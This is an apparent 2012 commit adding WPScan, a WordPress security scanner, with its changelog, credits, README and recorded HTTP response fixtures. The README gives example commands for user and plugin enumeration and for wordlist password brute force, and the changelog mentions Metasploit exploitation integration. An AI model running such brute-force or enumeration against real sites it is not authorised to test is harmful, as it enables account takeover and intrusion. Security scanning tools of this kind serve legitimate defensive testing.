WPScan files

This commit is contained in:
ethicalhack3r
2012-07-11 22:49:18 +02:00
parent 6da2da90f7
commit 3d78cbc4ac
190 changed files with 43701 additions and 0 deletions

85
CHANGELOG Normal file
View File

@@ -0,0 +1,85 @@
# WPScan Changelog
Version 1.1 - Released 25.11.2011
Added a few plugin vulns to the database
Fix for issue 54
CREDITS file update
Fix for Issue 51.
Moved the uniq! method in generate_plugin_list
SVN output redirected to /dev/null
Added 2 new plugin vulns
Added Clickdesk Live Chat Support XSS vuln
Improved non responsive server method
Improved update class to hide STDERR when there is no outbound conn
Added adminimize plugin XSS.
Fix for Issue 57, slight amendment.
Fix for Issue 57
Fix for Issue 50 (redirect)
Added advanced-text-widget XSS vuln
Added XSS vuln in all versions of WP-Cumulus
Typo in bruter
Couple of output changes + removal of flash gallery plugin duplicate
Implemented version scrapping from RSS feed
Issue 50
Issue 50 fix
404 checking on plugin detection implemented
Full Path Disclosure (FPD) check added.
timthumb.txt file uniqued by michee08
Added Miche08 to credits
Added new SQLI vulnerability in adrotate plugin
Fixed bug where theme name needed URL encoding before being used in the timthumb method.
Fix for issue 48. Not tested.
Added new Zingiri Web Shop RCE vulnerability
Fix for issue 48. Not tested.
Cleaned up plugin enum output a little
Output improvements, method name improvements
GPL code changed for future YARD documentayion
improved user input handling
Improved error_log file detection
Improved the timthumb method slightly
Amended contribution from tripmonster
Added contribution from tripmonster
Moved update code under the banner so that it shows during an update
Moved update code to run before anything
Fixed a bug in wordpress detection
Added timthumb reference, not everyone will know what timthumb is...
small typo
better timthumb discovery
timthumb enumeration checks added
Fix for issue 44 and updates to auto-update
Commented update class
Forgot to add class file
Auto updating implemented
Fix for issue 43
Added 4 new SQLI and 1 RCE from ExploitDB
Issue 39 tested and working
Some work on issue 39
Exploitation refactoring
Fix for issue 31
Fix for issue 34
Bug with when session is 1
Meterpreter interaction working
Further work on metasploit intergration
Some functionality of exploitation through MSFRPC implemented. NOT FINISHED
type, uri and postdata XML tags added to all RFI vulns
Output tweaking
MSFRPC + WPSCAN XMLRPC CLIENT WORKING WITH ADDITIONAL METHODS
XMLRPC Client in a working state
Added WordPress AdRotate plugin <= 3.6.5 SQL Injection Vulnerability to vuln library
MSF XMLRPC CLIENT PoC (NOT WORKING YET)
Some slight output tidying up
Added 3.1.2 Clickjacking Vulnerability
Added a ton of new plugin vulns discovered by Ben Schmidt (@_supernothing)
Addedd 2 new plugin vulns: Count per Day <= 2.17 and Filedownload 0.1
Added Gianluca to CREDITS file
Issue 25: patched plugin_vulns.xml
removed WP 3.0.4 common_post_ID Blind SQLi false positive
added 1-flash-gallery plugin vuln
version update
discover.advanced_version_fingerprinting method imeplemented
Issue 23: Patch for /trunk/data/plugin_vulns.xml
some small amendments
wp versions file initial commit with only scores of 1
updated published plugin vulns
progress indicators

17
CREDITS Normal file
View File

@@ -0,0 +1,17 @@
**CREDITS**
This file is to give credit to WPScan's contributors. If you feel your name should be in here, email ryandewhurst at gmail.
*WPScan Team*
Erwan.LR - @erwan_lr - (Project Developer)
Gianluca Brindisi - @gbrindisi (Project Developer)
Ryan Dewhurst - @ethicalhack3r (Project Lead)
*Other Contributors*
Alip AKA Undead - alip.aswalid at gmail.com
michee08 - Reported and gave potential solutions to bugs.
Callum Pember - Implemented proxy support - callumpember at gmail.com
g0tmi1k - Additional timthumb checks + bug reports.
Melvin Lammerts - Reported a couple of fake vulnerabilities - melvin at 12k.nl

166
README Normal file
View File

@@ -0,0 +1,166 @@
__________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by ethicalhack3r.co.uk
__________________________________________________
*THE MOST UP TO DATE README FILE CAN BE FOUND HERE*
http://code.google.com/p/wpscan/wiki/README
==LICENSE==
WPScan - WordPress Security Scanner
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
ryandewhurst at gmail
==INSTALL==
WPScan comes pre-installed on BackTrack5 R1 in the /pentest/web/wpscan directory. WPScan only supports Ruby => 1.9.
-> Installing on Backtrack5 Gnome/KDE 32bit :
sudo apt-get install libcurl4-gnutls-dev
sudo gem install --user-install mime-types typhoeus nokogiri json
-> Installing on Debian/Ubuntu :
sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby
sudo gem install typhoeus nokogiri json
-> Installing on other nix : (not tested)
sudo gem install typhoeus nokogiri json
-> Installing on Windows : (not tested)
gem install typhoeus ("Windows is not officially supported")
gem install nokogiri json
-> Installing on Mac OSX :
sudo gem install typhoeus nokogiri json
==KNOWN ISSUES==
- Typhoeus segmentation fault
Update curl to at least v7.21 (you may have to install it from sources)
See http://code.google.com/p/wpscan/issues/detail?id=81
- If you have one the following errors : "-bash: !t: event not found", "-bash: !u: event not found"
It happens whith enumeration : just put the 't' or 'u' before the 'p!' : '-e tp!' instead of '-e p!t'
==WPSCAN ARGUMENTS==
--update Update to the latest revision
--url | -u <target url> The WordPress URL/domain to scan.
--force | -f Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)] Enumeration.
option :
u usernames from id 1 to 10
u[10-20] usernames from id 10 to 20 (you must write [] chars)
p plugins
p! only vulnerable plugins
t timthumbs
Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins
If no option is supplied, the default is 'tup!'
--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed
--wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy Supply a proxy in the format host:port (will override the one from conf/browser.conf.json)
--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute.
--threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)
--username | -U <username> Only brute force the supplied username.
--help | -h This help screen.
--verbose | -v Verbose output.
==WPSCAN EXAMPLES==
Do 'non-intrusive' checks...
ruby wpscan.rb --url www.example.com
Do wordlist password brute force on enumerated users using 50 threads...
ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50
Do wordlist password brute force on the 'admin' username only...
ruby wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin
Enumerate instaled plugins...
ruby wpscan.rb --url www.example.com --enumerate p
==WPSTOOLS ARGUMENTS==
--help | -h This help screen.
--Verbose | -v Verbose output.
--update | -u Update to the latest revision.
--generate_plugin_list [number of pages] Generate a new data/plugins.txt file. (supply number of *pages* to parse, default : 150)
--gpl Alias for --generate_plugin_list
==WPSTOOLS EXAMPLES==
- Generate a new 'most popular' plugin list, up to 150 pages ...
ruby wpstools.rb --generate_plugin_list 150
===PROJECT HOME===
http://code.google.com/p/wpscan/
===SUBVERSION REPOSITORY===
svn checkout http://wpscan.googlecode.com/svn/trunk/ wpscan-read-only
===ISSUES===
http://code.google.com/p/wpscan/issues/list
===SPONSOR===
WPScan is sponsored by the RandomStorm Open Source Initiative.
Visit RandomStorm at http://www.randomstorm.com

View File

@@ -0,0 +1,82 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 3.5e-05
body: "html,body,div,span,object,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,address,code,img,small,strong,dl,dt,dd,ol,ul,li,fieldset,form,label{margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;}body{font-size:14px;font-family:helvetica,arial,sans-serif;letter-spacing:0.2px;}ol,ul{list-style:none;}h2{font-size:27px;}h3{font-size:20px;}h4 span span strong{color:black!important;}a{color:#2279A2;text-decoration:none!important;}a:hover{text-decoration:underline!important;}body{background:#242424 url(img/background.jpg) repeat;}#wrap{width:1075px;margin:auto;}#header{margin-top:40px;position:relative;}#header h1 a{background:url(img/logo.png) no-repeat;width:270px;height:37px;text-indent:-9999px;float:left;}#menu{text-align:right;display:inline-block;position:absolute;right:0;}#menu li{float:left;margin-left:20px;font-size:14px;font-family:tahoma,verdana,helvetica,arial,sans-serif;}#menu li a{color:white;text-decoration:none!important;}.current_page_item a div{background-color:#87b440!important;}#menu li a:hover .menuLine{background-color:#136287;}#menu li .menuLine{color:white;background-color:#20485a;font-size:8px;font-weight:bold;padding:1px 3px 1px 0;font-family:helvetica,arial,sans-serif;}#menu li #active{background-color:#87b440;}#main{clear:both;overflow:hidden;}#main #primary{float:left;width:700px;margin-top:60px;position:relative;}#main #primary h2{color:white;font-weight:400;margin-top:10px;margin-bottom:10px;}#main #primary #morePrev{background-color:#e3e3e3;border:1px solid white;padding:20px;}#main #primary #morePrev #more{float:right;}.topLine{height:10px;width:100%;background-color:#2279a2;}#main #sidebar{float:right;width:300px;margin-top:60px;}#main #sidebar h2{color:white;font-weight:400;margin-top:10px;margin-bottom:10px;}#main #sidebar .widget{margin-bottom:20px;}#main #sidebar .widget ul{background-color:#e3e3e3;padding:20px;border:1px solid white;font-size:12px;}#main #primary .post-item{background:#e3e3e3;margin-bottom:38px;border:1px solid white;overflow:hidden;position:relative;padding:20px;}#main #primary .post-item h2{color:#2c2c2c;margin:0;line-height:1em;}.the-title{font-size:27px;text-align:center;}.post-item img{border:none;}.post-item p.meta{font-size:10px;}.post-item p.comments{position:absolute;bottom:10px;right:10px;}.post-item p{font-size:14px;line-height:20px;margin:20px 0 20px 0;}.post-item blockquote{color:#575757;font-style:italic;}.post-item code{background-color:#000000;border:1px solid #000000;border-radius:6px 6px 6px 6px;color:#D8D8D8;padding:10px;text-shadow:none;}.post-item ul{list-style:circle;}.topLine{height:10px;width:100%;background-color:#2279a2;}#sidebar #search{margin-left:50px;margin-right:0;height:40px;background-color:#e3e3e3;position:relative;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;margin-bottom:30px!important;}#sidebar #search #searchSubmit{background-image:url('img/searchIcon.png');width:29px;height:23px;background-repeat:no-repeat;position:absolute;right:10px;top:8px;}#sidebar #search input{position:relative;font-size:16px;color:#2c2c2c;padding:10px;border:none;background:none;width:190px;}.widget_twitter .widgettitle{background-image:url('img/twitter.png');background-position:right;background-repeat:no-repeat;}.widgettitle a{text-decoration:none;color:white;}.widget_twitter li{padding:5px 0 5px 0;border-bottom:1px solid #666;border-top:1px solid #eee;}.widget_twitter li:first-child{padding-top:0;border-top:none;}.widget_twitter li:last-child{padding-bottom:0;border-bottom:none;}#recentcomments .widgettitle{background-image:url('img/twitter.png');background-position:right;background-repeat:no-repeat;}#recentcomments li{padding:5px 0 5px 0;border-bottom:1px solid #666;border-top:1px solid #eee;}#recentcomments li:first-child{padding-top:0;border-top:none;}#recentcomments li:last-child{padding-bottom:0;border-bottom:none;}#comments{color:white;margin-bottom:2px;}.comments li{background:#e3e3e3;margin-bottom:1px;border:1px solid white;overflow:hidden;position:relative;padding:10px;}.comments p{margin-bottom:15px;font-size:16px;}#main_comment p{margin-bottom:2px;}#comment-datetime{font-size:10px;}#respond{background:#e3e3e3;margin-top:20px;margin-bottom:28px;border:1px solid white;overflow:hidden;position:relative;padding:20px;}#respond label{width:4em;float:left;text-align:left;margin-right:0.5em;display:block}#respond h3{padding:2px;}#respond p{padding:2px;}#comment-ads{margin-bottom:10px;}#footer{height:100px;}#copyright{color:#FFFFFF;font-size:12px;}"
code: 200
connect_time: 3.5e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css
headers: |
HTTP/1.1 200 OK
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:24 GMT
Content-Type: text/css
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Fri, 17 Feb 2012 19:44:20 GMT
ETag: "a425-1af4-4b92e2bb8ad00"
Vary: Accept-Encoding
CF-Cache-Status: HIT
Expires: Mon, 09 Jul 2012 12:15:24 GMT
Cache-Control: public, max-age=14400
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 3.5e-05
pretransfer_time: 3.4e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete:
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-content/themes/ethicalhack3r/style.css
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.101189
status_message:
time: 0.116178

View File

@@ -0,0 +1,77 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 2.6e-05
body: ""
code: 500
connect_time: 2.6e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-includes/rss-functions.php
headers: |
HTTP/1.1 500 Internal Server Error
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:25 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 2.6e-05
pretransfer_time: 2.5e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete:
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-includes/rss-functions.php
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-includes/rss-functions.php
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.112819
status_message:
time: 0.11291

View File

@@ -0,0 +1,310 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 3.0e-05
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>Nothing found for Wp-config Php Swp</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body><script type=\"text/javascript\">\n\
//<![CDATA[\n\
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
//]]>\n\
</script>\n\
<noscript>\n\
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
</noscript>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php.swp/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" 